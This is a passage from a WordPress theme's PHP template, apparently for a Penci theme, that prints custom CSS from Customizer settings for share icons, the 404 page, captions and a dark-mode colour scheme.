            .tags-share-box.hide-tags.page-share .post-share a{ font-size: <?php echo get_theme_mod( 'penci_page_shareicon_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_psharetext_color' ) ): ?>
            .tags-share-box.hide-tags.page-share .share-title{ color: <?php echo get_theme_mod( 'penci_psharetext_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_pageshareicon_color' ) ): ?>
            .tags-share-box.hide-tags.page-share .post-share a{ color: <?php echo get_theme_mod( 'penci_pageshareicon_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_pageshareicon_hcolor' ) ): ?>
            .tags-share-box.hide-tags.page-share .post-share a:hover{ color: <?php echo get_theme_mod( 'penci_pageshareicon_hcolor' ); ?>; }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_not_found_removeline' ) ): ?>
            .error-image{ padding-bottom: 0; } .error-image:after{ content: none; display: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_notfound_message_fsize' ) ): ?>
            .error-404 .sub-heading-text-404{ font-size: <?php echo get_theme_mod( 'penci_notfound_message_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_notfound_input_fsize' ) ): ?>
            .error-404 form.pc-searchform input.search-input{ font-size: <?php echo get_theme_mod( 'penci_notfound_input_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_notfound_backhome_fsize' ) ): ?>
            .error-404 .go-back-home a{ font-size: <?php echo get_theme_mod( 'penci_notfound_backhome_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_404_line_color' ) ): ?>
            .error-image:after{ background-color: <?php echo get_theme_mod( 'penci_404_line_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_404_message_ctext' ) ): ?>
            .error-404 .sub-heading-text-404{ color: <?php echo get_theme_mod( 'penci_404_message_ctext' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_404_input_color' ) ): ?>
            .error-404 form.pc-searchform input.search-input{ color: <?php echo get_theme_mod( 'penci_404_input_color' ); ?>; }
            .error-404 form.pc-searchform input.search-input::-webkit-input-placeholder{ color: <?php echo get_theme_mod( 'penci_404_input_color' ); ?>; }
            .error-404 form.pc-searchform input.search-input:-ms-input-placeholder{ color: <?php echo get_theme_mod( 'penci_404_input_color' ); ?>; }
            .error-404 form.pc-searchform input.search-input::placeholder{ color: <?php echo get_theme_mod( 'penci_404_input_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_404_formborder_color' ) ): ?>
            .error-404 form.pc-searchform input.search-input{ border-color: <?php echo get_theme_mod( 'penci_404_formborder_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_404_backhome_color' ) ): ?>
            .error-404 .go-back-home a{ color: <?php echo get_theme_mod( 'penci_404_backhome_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_post_caption_below' ) ): ?>
            .wp-caption p.wp-caption-text, .penci-featured-caption { position: static; background: none; padding: 11px 0 0; color: #888; }
            .wp-caption:hover p.wp-caption-text, .post-image:hover .penci-featured-caption{ opacity: 1; transform: none; -webkit-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_post_caption_disable_italic' ) ): ?>
            .wp-caption p.wp-caption-text, .penci-featured-caption { font-style: normal; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_enable_dark_layout' ) ): ?>
            body.pcdark-mode .post-entry .wp-block-quote,
            body.pcdark-mode .wpb_text_column .wp-block-quote,
            body.pcdark-mode .woocommerce .page-description .wp-block-quote {
            border-color: #888;
            }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_bg_color_dark' ) ): ?>
            body{ --pcbg-cl: <?php echo penci_get_setting( 'penci_bg_color_dark' ); ?>; }
            .penci-single-style-7:not( .penci-single-pheader-noimg ).penci_sidebar #main article.post, .penci-single-style-3:not( .penci-single-pheader-noimg ).penci_sidebar #main article.post { background-color: var(--pcbg-cl); }
            @media only screen and (max-width: 767px){ .standard-post-special_wrapper { background: var(--pcbg-cl); } }
            .wrapper-boxed, .wrapper-boxed.enable-boxed, .home-pupular-posts-title span, .penci-post-box-meta.penci-post-box-grid .penci-post-share-box, .penci-pagination.penci-ajax-more a.penci-ajax-more-button, .woocommerce .woocommerce-product-search input[type="search"], .overlay-post-box-meta, .widget ul.side-newsfeed li.featured-news2 .side-item .side-item-text, .widget select, .widget select option, .woocommerce .woocommerce-error, .woocommerce .woocommerce-info, .woocommerce .woocommerce-message, #penci-demobar, #penci-demobar .style-toggle, .grid-overlay-meta .grid-header-box, .header-standard.standard-overlay-meta{ background-color: var(--pcbg-cl); }
            .penci-grid .list-post.list-boxed-post .item > .thumbnail:before{ border-right-color: var(--pcbg-cl); }
            .penci-grid .list-post.list-boxed-post:nth-of-type(2n+2) .item > .thumbnail:before{ border-left-color: var(--pcbg-cl); }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_border_color_dark' ) ): ?>
            body{ --pcborder-cl: <?php echo penci_get_setting( 'penci_border_color_dark' ); ?>; }
            #main #bbpress-forums .bbp-login-form fieldset.bbp-form select, #main #bbpress-forums .bbp-login-form .bbp-form input[type="password"], #main #bbpress-forums .bbp-login-form .bbp-form input[type="text"],
            .widget ul li, .grid-mixed, .penci-post-box-meta, .penci-pagination.penci-ajax-more a.penci-ajax-more-button, .widget-social a i, .penci-home-popular-posts, .header-header-1.has-bottom-line, .header-header-4.has-bottom-line, .header-header-7.has-bottom-line, .container-single .post-entry .post-tags a,.tags-share-box.tags-share-box-2_3,.tags-share-box.tags-share-box-top, .tags-share-box, .post-author, .post-pagination, .post-related, .post-comments .post-title-box, .comments .comment, #respond textarea, .wpcf7 textarea, #respond input,
            div.wpforms-container .wpforms-form.wpforms-form input[type=date], div.wpforms-container .wpforms-form.wpforms-form input[type=datetime], div.wpforms-container .wpforms-form.wpforms-form input[type=datetime-local], div.wpforms-container .wpforms-form.wpforms-form input[type=email], div.wpforms-container .wpforms-form.wpforms-form input[type=month], div.wpforms-container .wpforms-form.wpforms-form input[type=number], div.wpforms-container .wpforms-form.wpforms-form input[type=password], div.wpforms-container .wpforms-form.wpforms-form input[type=range], div.wpforms-container .wpforms-form.wpforms-form input[type=search], div.wpforms-container .wpforms-form.wpforms-form input[type=tel], div.wpforms-container .wpforms-form.wpforms-form input[type=text], div.wpforms-container .wpforms-form.wpforms-form input[type=time], div.wpforms-container .wpforms-form.wpforms-form input[type=url], div.wpforms-container .wpforms-form.wpforms-form input[type=week], div.wpforms-container .wpforms-form.wpforms-form select, div.wpforms-container .wpforms-form.wpforms-form textarea,
            .wpcf7 input, .widget_wysija input, #respond h3, form.pc-searchform input.search-input, .post-password-form input[type="text"], .post-password-form input[type="email"], .post-password-form input[type="password"], .post-password-form input[type="number"], .penci-recipe, .penci-recipe-heading, .penci-recipe-ingredients, .penci-recipe-notes, .penci-pagination ul.page-numbers li span, .penci-pagination ul.page-numbers li a, #comments_pagination span, #comments_pagination a, body.author .post-author, .tags-share-box.hide-tags.page-share, .penci-grid li.list-post, .penci-grid li.list-boxed-post-2 .content-boxed-2, .home-featured-cat-content .mag-post-box, .home-featured-cat-content.style-2 .mag-post-box.first-post, .home-featured-cat-content.style-10 .mag-post-box.first-post, .widget select, .widget ul ul, .widget input[type="text"], .widget input[type="email"], .widget input[type="date"], .widget input[type="number"], .widget input[type="search"], .widget .tagcloud a, #wp-calendar tbody td, .woocommerce div.product .entry-summary div[itemprop="description"] td, .woocommerce div.product .entry-summary div[itemprop="description"] th, .woocommerce div.product .woocommerce-tabs #tab-description td, .woocommerce div.product .woocommerce-tabs #tab-description th, .woocommerce-product-details__short-description td, th, .woocommerce ul.cart_list li, .woocommerce ul.product_list_widget li, .woocommerce .widget_shopping_cart .total, .woocommerce.widget_shopping_cart .total, .woocommerce .woocommerce-product-search input[type="search"], .woocommerce nav.woocommerce-pagination ul li a, .woocommerce nav.woocommerce-pagination ul li span, .woocommerce div.product .product_meta, .woocommerce div.product .woocommerce-tabs ul.tabs, .woocommerce div.product .related > h2, .woocommerce div.product .upsells > h2, .woocommerce #reviews #comments ol.commentlist li .comment-text, .woocommerce table.shop_table td, .post-entry td, .post-entry th, #add_payment_method .cart-collaterals .cart_totals tr td, #add_payment_method .cart-collaterals .cart_totals tr th, .woocommerce-cart .cart-collaterals .cart_totals tr td, .woocommerce-cart .cart-collaterals .cart_totals tr th, .woocommerce-checkout .cart-collaterals .cart_totals tr td, .woocommerce-checkout .cart-collaterals .cart_totals tr th, .woocommerce-cart .cart-collaterals .cart_totals table, .woocommerce-cart table.cart td.actions .coupon .input-text, .woocommerce table.shop_table a.remove, .woocommerce form .form-row .input-text, .woocommerce-page form .form-row .input-text, .woocommerce .woocommerce-error, .woocommerce .woocommerce-info, .woocommerce .woocommerce-message, .woocommerce form.checkout_coupon, .woocommerce form.login, .woocommerce form.register, .woocommerce form.checkout table.shop_table, .woocommerce-checkout #payment ul.payment_methods, .post-entry table, .wrapper-penci-review, .penci-review-container.penci-review-count, #penci-demobar .style-toggle, #widget-area, .post-entry hr, .wpb_text_column hr, #buddypress .dir-search input[type=search], #buddypress .dir-search input[type=text], #buddypress .groups-members-search input[type=search], #buddypress .groups-members-search input[type=text], #buddypress ul.item-list, #buddypress .profile[role=main], #buddypress select, #buddypress div.pagination .pagination-links span, #buddypress div.pagination .pagination-links a, #buddypress div.pagination .pag-count, #buddypress div.pagination .pagination-links a:hover, #buddypress ul.item-list li, #buddypress table.forum tr td.label, #buddypress table.messages-notices tr td.label, #buddypress table.notifications tr td.label, #buddypress table.notifications-settings tr td.label, #buddypress table.profile-fields tr td.label, #buddypress table.wp-profile-fields tr td.label, #buddypress table.profile-fields:last-child, #buddypress form#whats-new-form textarea, #buddypress .standard-form input[type=text], #buddypress .standard-form input[type=color], #buddypress .standard-form input[type=date], #buddypress .standard-form input[type=datetime], #buddypress .standard-form input[type=datetime-local], #buddypress .standard-form input[type=email], #buddypress .standard-form input[type=month], #buddypress .standard-form input[type=number], #buddypress .standard-form input[type=range], #buddypress .standard-form input[type=search], #buddypress .standard-form input[type=password], #buddypress .standard-form input[type=tel], #buddypress .standard-form input[type=time], #buddypress .standard-form input[type=url], #buddypress .standard-form input[type=week], .bp-avatar-nav ul, .bp-avatar-nav ul.avatar-nav-items li.current, #bbpress-forums li.bbp-body ul.forum, #bbpress-forums li.bbp-body ul.topic, #bbpress-forums li.bbp-footer, .bbp-pagination-links a, .bbp-pagination-links span.current, .wrapper-boxed .bbp-pagination-links a:hover, .wrapper-boxed .bbp-pagination-links span.current, #buddypress .standard-form select, #buddypress .standard-form input[type=password], #buddypress .activity-list li.load-more a, #buddypress .activity-list li.load-newest a, #buddypress ul.button-nav li a, #buddypress div.generic-button a, #buddypress .comment-reply-link, #bbpress-forums div.bbp-template-notice.info, #bbpress-forums #bbp-search-form #bbp_search, #bbpress-forums .bbp-forums-list, #bbpress-forums #bbp_topic_title, #bbpress-forums #bbp_topic_tags, #bbpress-forums .wp-editor-container, .widget_display_stats dd, .widget_display_stats dt, div.bbp-forum-header, div.bbp-topic-header, div.bbp-reply-header, .widget input[type="text"], .widget input[type="email"], .widget input[type="date"], .widget input[type="number"], .widget input[type="search"], .widget input[type="password"], blockquote.wp-block-quote, .post-entry blockquote.wp-block-quote, .wp-block-quote:not(.is-large):not(.is-style-large), .post-entry pre, .wp-block-pullquote:not(.is-style-solid-color), .post-entry hr.wp-block-separator, .wp-block-separator, .wp-block-latest-posts, .wp-block-yoast-how-to-block ol.schema-how-to-steps, .wp-block-yoast-how-to-block ol.schema-how-to-steps li, .wp-block-yoast-faq-block .schema-faq-section, .post-entry .wp-block-quote, .wpb_text_column .wp-block-quote, .woocommerce .page-description .wp-block-quote, .wp-block-search .wp-block-search__input{ border-color: var(--pcborder-cl); }
            .penci-recipe-index-wrap h4.recipe-index-heading > span:before, .penci-recipe-index-wrap h4.recipe-index-heading > span:after{ border-color: var(--pcborder-cl); opacity: 1; }
            .tags-share-box .single-comment-o:after, .post-share a.penci-post-like:after{ background-color: var(--pcborder-cl); }
            .penci-grid .list-post.list-boxed-post{ border-color: var(--pcborder-cl) !important; }
            .penci-post-box-meta.penci-post-box-grid:before, .woocommerce .widget_price_filter .ui-slider .ui-slider-range{ background-color: var(--pcborder-cl); }
            .penci-pagination.penci-ajax-more a.penci-ajax-more-button.loading-posts{ border-color: var(--pcborder-cl) !important; }
            .penci-vernav-enable .penci-menu-hbg{ box-shadow: none; -webkit-box-shadow: none; -moz-box-shadow: none; }
            .penci-vernav-enable.penci-vernav-poleft .penci-menu-hbg{ border-right: 1px solid var(--pcborder-cl); }
            .penci-vernav-enable.penci-vernav-poright .penci-menu-hbg{ border-left: 1px solid var(--pcborder-cl); }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_content_h' ) ) : ?>
			.penci-sg-cth:not(.show-full) {max-height:<?php echo get_theme_mod( 'penci_single_content_h' ); ?>px;overflow: hidden;position: relative;}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_content_hm' ) ) : ?>
			@media only screen and (max-width: 767px) {
				.penci-sg-cth:not(.show-full) {max-height:<?php echo get_theme_mod( 'penci_single_content_hm' ); ?>px;overflow: hidden;position: relative;}
			}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_enable_dark_layout' ) ): ?>
            body.pcdark-mode {
            --pcmeta-cl: <?php echo penci_get_setting( 'penci_meta_color_dark' ); ?>;
            --pctext-cl: <?php echo penci_get_setting( 'penci_text_color_dark' ); ?>;
            --pcheading-cl: #f5f5f5;
            }

            body.pcdark-mode,
            body.pcdark-mode .penci-post-box-meta .penci-post-share-box a,
            body.pcdark-mode .penci-pagination a,
            body.pcdark-mode .penci-pagination .disable-url,
            body.pcdark-mode .widget-social a i,
            body.pcdark-mode .post-share a,
            body.pcdark-mode #respond textarea,
            body.pcdark-mode .wpcf7 textarea,
            body.pcdark-mode #respond input,
            body.pcdark-mode .wpcf7 input,
            body.pcdark-mode .widget_wysija input,
            body.pcdark-mode #respond h3 small a,
            body.pcdark-mode #respond h3 small a:hover,
            body.pcdark-mode .post-comments span.reply a,
            body.pcdark-mode .post-comments span.reply a:hover,
            body.pcdark-mode .thecomment .comment-text span.author,
            body.pcdark-mode .thecomment .comment-text span.author a,
            body.pcdark-mode #respond h3.comment-reply-title span,
            body.pcdark-mode .post-box-title,
            body.pcdark-mode .post-pagination a,
            body.pcdark-mode .post-pagination span,
            body.pcdark-mode .author-content .author-social,
            body.pcdark-mode .author-content h5 a,
            body.pcdark-mode .error-404 .sub-heading-text-404,
            body.pcdark-mode form.pc-searchform input.search-input,
            body.pcdark-mode input,
            body.pcdark-mode .penci-pagination ul.page-numbers li span,
            body.pcdark-mode .penci-pagination ul.page-numbers li a,
            body.pcdark-mode #comments_pagination span,
            body.pcdark-mode #comments_pagination a,
            body.pcdark-mode .item-related h3 a,
            body.pcdark-mode .archive-box span,
            body.pcdark-mode .archive-box h1,
            body.pcdark-mode .header-standard .author-post span a,
            body.pcdark-mode .post-entry h1,
            body.pcdark-mode .post-entry h2,
            body.pcdark-mode .post-entry h3,
            body.pcdark-mode .post-entry h4,
            body.pcdark-mode .post-entry h5,
            body.pcdark-mode .post-entry h6,
            body.pcdark-mode .wpb_text_column h1,
            body.pcdark-mode .wpb_text_column h2,
            body.pcdark-mode .wpb_text_column h3,
            body.pcdark-mode .wpb_text_column h4,
            body.pcdark-mode .wpb_text_column h5,
            body.pcdark-mode .wpb_text_column h6,
            body.pcdark-mode .tags-share-box.hide-tags.page-share .share-title,
            body.pcdark-mode .about-widget .about-me-heading,
            body.pcdark-mode .penci-tweets-widget-content .tweet-text,
            body.pcdark-mode .widget select,
            body.pcdark-mode .widget ul li,
            body.pcdark-mode .widget .tagcloud a,
            body.pcdark-mode #wp-calendar caption,
            body.pcdark-mode .woocommerce .page-title,
            body.pcdark-mode .woocommerce ul.products li.product h3,
            body.pcdark-mode .woocommerce ul.products li.product .woocommerce-loop-product__title,
            body.pcdark-mode .woocommerce .widget_price_filter .price_label,
            body.pcdark-mode .woocommerce .woocommerce-product-search input[type="search"],
            body.pcdark-mode .woocommerce nav.woocommerce-pagination ul li a,
            body.pcdark-mode .woocommerce nav.woocommerce-pagination ul li span,
            body.pcdark-mode .woocommerce div.product .entry-summary div[itemprop="description"] h1,
            body.pcdark-mode .woocommerce div.product .entry-summary div[itemprop="description"] h2,
            body.pcdark-mode .woocommerce div.product .entry-summary div[itemprop="description"] h3,
            body.pcdark-mode .woocommerce div.product .entry-summary div[itemprop="description"] h4,
            body.pcdark-mode .woocommerce div.product .entry-summary div[itemprop="description"] h5,
            body.pcdark-mode .woocommerce div.product .entry-summary div[itemprop="description"] h6,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs #tab-description h1,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs #tab-description h2,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs #tab-description h3,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs #tab-description h4,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs #tab-description h5,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs #tab-description h6,
            body.pcdark-mode .woocommerce-product-details__short-description h1,
            body.pcdark-mode .woocommerce-product-details__short-description h2,
            body.pcdark-mode .woocommerce-product-details__short-description h3,
            body.pcdark-mode .woocommerce-product-details__short-description h4,
            body.pcdark-mode .woocommerce-product-details__short-description h5,
            body.pcdark-mode .woocommerce-product-details__short-description h6,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs .panel>h2:first-child,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs .panel #reviews #comments h2,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs .panel #respond h3.comment-reply-title,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs .panel #respond .comment-reply-title,
            body.pcdark-mode .woocommerce div.product .related>h2,
            body.pcdark-mode .woocommerce div.product .upsells>h2,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs ul.tabs li a,
            body.pcdark-mode .woocommerce .comment-form p.stars a,
            body.pcdark-mode .woocommerce #reviews #comments ol.commentlist li .comment-text .meta strong,
            body.pcdark-mode .woocommerce table.shop_table a.remove,
            body.pcdark-mode .woocommerce table.shop_table td.product-name a,
            body.pcdark-mode .woocommerce table.shop_table th,
            body.pcdark-mode .woocommerce form .form-row .input-text,
            body.pcdark-mode .woocommerce-page form .form-row .input-text,
            body.pcdark-mode.woocommerce .page-title,
            body.pcdark-mode.woocommerce ul.products li.product h3,
            body.pcdark-mode.woocommerce ul.products li.product .woocommerce-loop-product__title,
            body.pcdark-mode.woocommerce .widget_price_filter .price_label,
            body.pcdark-mode.woocommerce .woocommerce-product-search input[type="search"],
            body.pcdark-mode.woocommerce nav.woocommerce-pagination ul li a,
            body.pcdark-mode.woocommerce nav.woocommerce-pagination ul li span,
            body.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] h1,
            body.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] h2,
            body.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] h3,
            body.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] h4,
            body.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] h5,
            body.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] h6,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h1,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h2,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h3,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h4,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h5,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h6,
            body.pcdark-mode.woocommerce-product-details__short-description h1,
            body.pcdark-mode.woocommerce-product-details__short-description h2,
            body.pcdark-mode.woocommerce-product-details__short-description h3,
            body.pcdark-mode.woocommerce-product-details__short-description h4,
            body.pcdark-mode.woocommerce-product-details__short-description h5,
            body.pcdark-mode.woocommerce-product-details__short-description h6,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs .panel>h2:first-child,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs .panel #reviews #comments h2,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs .panel #respond h3.comment-reply-title,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs .panel #respond .comment-reply-title,
            body.pcdark-mode.woocommerce div.product .related>h2,
            body.pcdark-mode.woocommerce div.product .upsells>h2,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs ul.tabs li a,
            body.pcdark-mode.woocommerce .comment-form p.stars a,
            body.pcdark-mode.woocommerce #reviews #comments ol.commentlist li .comment-text .meta strong,
            body.pcdark-mode.woocommerce table.shop_table a.remove,
            body.pcdark-mode.woocommerce table.shop_table td.product-name a,
            body.pcdark-mode.woocommerce table.shop_table th,
            body.pcdark-mode.woocommerce form .form-row .input-text,
            body.pcdark-mode.woocommerce-page form .form-row .input-text,
            body.pcdark-mode .penci-page-header h1,
            body.pcdark-mode .demobar-title,
            body.pcdark-mode .demobar-desc,
            body.pcdark-mode .container-single .post-share a,
            body.pcdark-mode .page-share .post-share a,
            body.pcdark-mode .footer-instagram h4.footer-instagram-title,
            body.pcdark-mode .post-entry .penci-portfolio-filter ul li a,
            body.pcdark-mode .penci-portfolio-filter ul li a,
            body.pcdark-mode .widget-social.show-text a span,
            body.pcdark-mode #buddypress select,
            body.pcdark-mode #buddypress div.pagination .pagination-links a:hover,
            body.pcdark-mode #buddypress div.pagination .pagination-links span,
            body.pcdark-mode #buddypress div.pagination .pagination-links a,
            body.pcdark-mode #buddypress div.pagination .pag-count,
            body.pcdark-mode #buddypress ul.item-list li div.item-title span,
            body.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li a,
            body.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li>span,
            body.pcdark-mode #buddypress div#item-header div#item-meta,
            body.pcdark-mode #buddypress form#whats-new-form textarea,
            body.pcdark-mode #buddypress .standard-form input[type=text],
            body.pcdark-mode #buddypress .standard-form input[type=color],
            body.pcdark-mode #buddypress .standard-form input[type=date],
            body.pcdark-mode #buddypress .standard-form input[type=datetime],
            body.pcdark-mode #buddypress .standard-form input[type=datetime-local],
            body.pcdark-mode #buddypress .standard-form input[type=email],
            body.pcdark-mode #buddypress .standard-form input[type=month],
            body.pcdark-mode #buddypress .standard-form input[type=number],
            body.pcdark-mode #buddypress .standard-form input[type=range],
            body.pcdark-mode #buddypress .standard-form input[type=search],
            body.pcdark-mode #buddypress .standard-form input[type=password],
            body.pcdark-mode #buddypress .standard-form input[type=tel],
            body.pcdark-mode #buddypress .standard-form input[type=time],
            body.pcdark-mode #buddypress .standard-form input[type=url],
            body.pcdark-mode #buddypress .standard-form input[type=week],
            body.pcdark-mode #buddypress ul.button-nav li a,
            body.pcdark-mode #buddypress div.generic-button a,
            body.pcdark-mode #buddypress .comment-reply-link,
            body.pcdark-mode .wrapper-boxed .bbp-pagination-links a,
            body.pcdark-mode .wrapper-boxed .bbp-pagination-links a:hover,
            body.pcdark-mode .wrapper-boxed .bbp-pagination-links span.current,
            body.pcdark-mode #buddypress .activity-list li.load-more a,
            body.pcdark-mode #buddypress .activity-list li.load-newest a,
            body.pcdark-mode .activity-inner,
            body.pcdark-mode #buddypress a.activity-time-since,
            body.pcdark-mode .activity-greeting,
            body.pcdark-mode div.bbp-template-notice,
            body.pcdark-mode div.indicator-hint,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-info a,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-title a,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-topic-count,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-reply-count,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-freshness,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-freshness a,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-forum-topic-count,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-voice-count,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-forum-reply-count,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-freshness>a,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-freshness,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-reply-count,
            body.pcdark-mode div.bbp-template-notice a,
            body.pcdark-mode #bbpress-forums #bbp-search-form #bbp_search,
            body.pcdark-mode #bbpress-forums .wp-editor-container,
            body.pcdark-mode #bbpress-forums div.bbp-the-content-wrapper textarea.bbp-the-content,
            body.pcdark-mode .widget_display_stats dd,
            body.pcdark-mode #bbpress-forums fieldset.bbp-form legend,
            body.pcdark-mode #bbpress-forums .bbp-pagination-count,
            body.pcdark-mode span.bbp-admin-links a,
            body.pcdark-mode .bbp-forum-header a.bbp-forum-permalink,
            body.pcdark-mode .bbp-topic-header a.bbp-topic-permalink,
            body.pcdark-mode .bbp-reply-header a.bbp-reply-permalink,
            body.pcdark-mode #bbpress-forums .status-closed,
            body.pcdark-mode #bbpress-forums .status-closed a,
            body.pcdark-mode .post-entry blockquote.wp-block-quote p,
            body.pcdark-mode .wpb_text_column blockquote.wp-block-quote p,
            body.pcdark-mode .post-entry blockquote.wp-block-quote cite,
            body.pcdark-mode .wpb_text_column blockquote.wp-block-quote cite,
            body.pcdark-mode .post-entry code,
            body.pcdark-mode .wp-block-video figcaption,
            body.pcdark-mode .post-entry .wp-block-pullquote blockquote p,
            body.pcdark-mode .post-entry .wp-block-pullquote blockquote cite,
            body.pcdark-mode .wp-block-categories .category-item-count {
            color: var(--pctext-cl);
            }

            body.pcdark-mode .woocommerce .widget_price_filter .ui-slider .ui-slider-handle,
            body.pcdark-mode .post-entry .wp-block-file a.wp-block-file__button {
            background-color: var(--pctext-cl);
            }

            body.pcdark-mode .penci-owl-carousel-slider .penci-owl-dot span {
            background-color: var(--pctext-cl);
            border-color: var(--pctext-cl);
            }

            body.pcdark-mode .grid-post-box-meta span,
            body.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta,
            body.pcdark-mode .grid-post-box-meta span a,
            body.pcdark-mode .penci-post-box-meta .penci-box-meta span,
            body.pcdark-mode .penci-post-box-meta .penci-box-meta a,
            body.pcdark-mode .header-standard .author-post span,
            body.pcdark-mode .thecomment .comment-text span.date,
            body.pcdark-mode .item-related span.date,
            body.pcdark-mode .post-box-meta-single span,
            body.pcdark-mode .container.penci-breadcrumb span,
            body.pcdark-mode .container.penci-breadcrumb span a,
            body.pcdark-mode .container.penci-breadcrumb a,
            body.pcdark-mode .container.penci-breadcrumb i,
            body.pcdark-mode .penci-container-inside.penci-breadcrumb span,
            body.pcdark-mode .penci-container-inside.penci-breadcrumb span a,
            body.pcdark-mode .penci-container-inside.penci-breadcrumb a,
            body.pcdark-mode .penci-container-inside.penci-breadcrumb i,
            body.pcdark-mode .overlay-post-box-meta,
            body.pcdark-mode .overlay-post-box-meta .overlay-share span,
            body.pcdark-mode .overlay-post-box-meta .overlay-share a,
            body.pcdark-mode .woocommerce #reviews #comments ol.commentlist li .comment-text .meta,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-info .bbp-forum-content,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.topic p.bbp-topic-meta,
            body.pcdark-mode #bbpress-forums .bbp-breadcrumb a,
            body.pcdark-mode #bbpress-forums .bbp-breadcrumb .bbp-breadcrumb-current,
            body.pcdark-mode .bbp-breadcrumb .bbp-breadcrumb-sep,
            body.pcdark-mode #bbpress-forums .bbp-topic-started-by,
            body.pcdark-mode #bbpress-forums .bbp-topic-started-in {
            color: var(--pcmeta-cl);
            }

            body.pcdark-mode .penci-review-process {
            background-color: var(--pcmeta-cl);
            }

            body.pcdark-mode .post-entry .wp-block-file a.wp-block-file__button {
            color: var(--pcbg-cl);
            }

            body.pcdark-mode .pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button.loading-posts {
            color: var(--pctext-cl) !important;
            border-color: var(--pcborder-cl) !important;
            }

            body.pcdark-mode .widget ul.side-newsfeed li .order-border-number {
            background-color: rgba(255, 255, 255, 0.2);
            box-shadow: 0px 1px 2px 0px rgba(0, 0, 0, 0.1);
            }

            body.pcdark-mode .widget ul.side-newsfeed li .number-post {
            background-color: #212121;
            }

            .pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=submit],
            .pcdark-mode div.wpforms-container .wpforms-form.wpforms-form button[type=submit],
            .pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button,
            .pcdark-mode #respond #submit,
            .pcdark-mode .wpcf7 input[type="submit"],
            .pcdark-mode .widget_wysija input[type="submit"],
            .pcdark-mode .widget input[type="submit"],
            .pcdark-mode .penci-user-logged-in .penci-user-action-links a,
            .pcdark-mode .penci-button,
            .pcdark-mode .widget button[type="submit"],
            .pcdark-mode .woocommerce #respond input#submit,
            .pcdark-mode .woocommerce a.button,
            .pcdark-mode .woocommerce button.button,
            .pcdark-mode .woocommerce input.button,
            .pcdark-mode.woocommerce #respond input#submit,
            .pcdark-mode.woocommerce a.button,
            .pcdark-mode.woocommerce button.button,
            .pcdark-mode.woocommerce input.button,
